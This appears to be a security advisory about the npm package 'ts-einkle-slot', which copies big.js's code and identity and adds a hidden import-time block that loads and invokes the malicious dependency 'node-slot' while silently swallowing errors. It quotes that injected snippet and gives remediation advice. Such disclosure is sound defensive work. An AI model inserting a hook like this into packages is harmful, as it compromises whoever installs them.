ts-einkle-slot

Package is published as `ts-einkle-slot` but its tarball contents (source, README, LICENCE, package.json author/repository/description) are copied verbatim from Michael Mclaughlin's legitimate `big.js` package, presenting a spoofed publisher identity. The CommonJS and ESM entrypoints (`big.js` and `big.mjs`, referenced from `main`/`module`/`exports`) contain an injected top-level block: `try { const doc = require('node-slot'); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {}`. This causes the transitive dependency `node-slot` (pulled in via the declared `ts-einkle` dependency) to be loaded and its `from_str()` invoked the moment any consumer `require`s or `import`s this package, with errors silently swallowed so the host package keeps functioning as a drop-in big.js replacement. The package's advertised purpose is decimal arithmetic; there is no legitimate reason to load an unrelated `node-slot` runtime module on import. Installer harm is delivered by the attacker-controlled transitive `node-slot`, which is pulled into the install tree solely by virtue of installing this package. ## Source: ghsa-malware (9c0d1cd76e98be8f9edf4cd5efd216e927574836f0e026a532f1edbe1a370e88) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
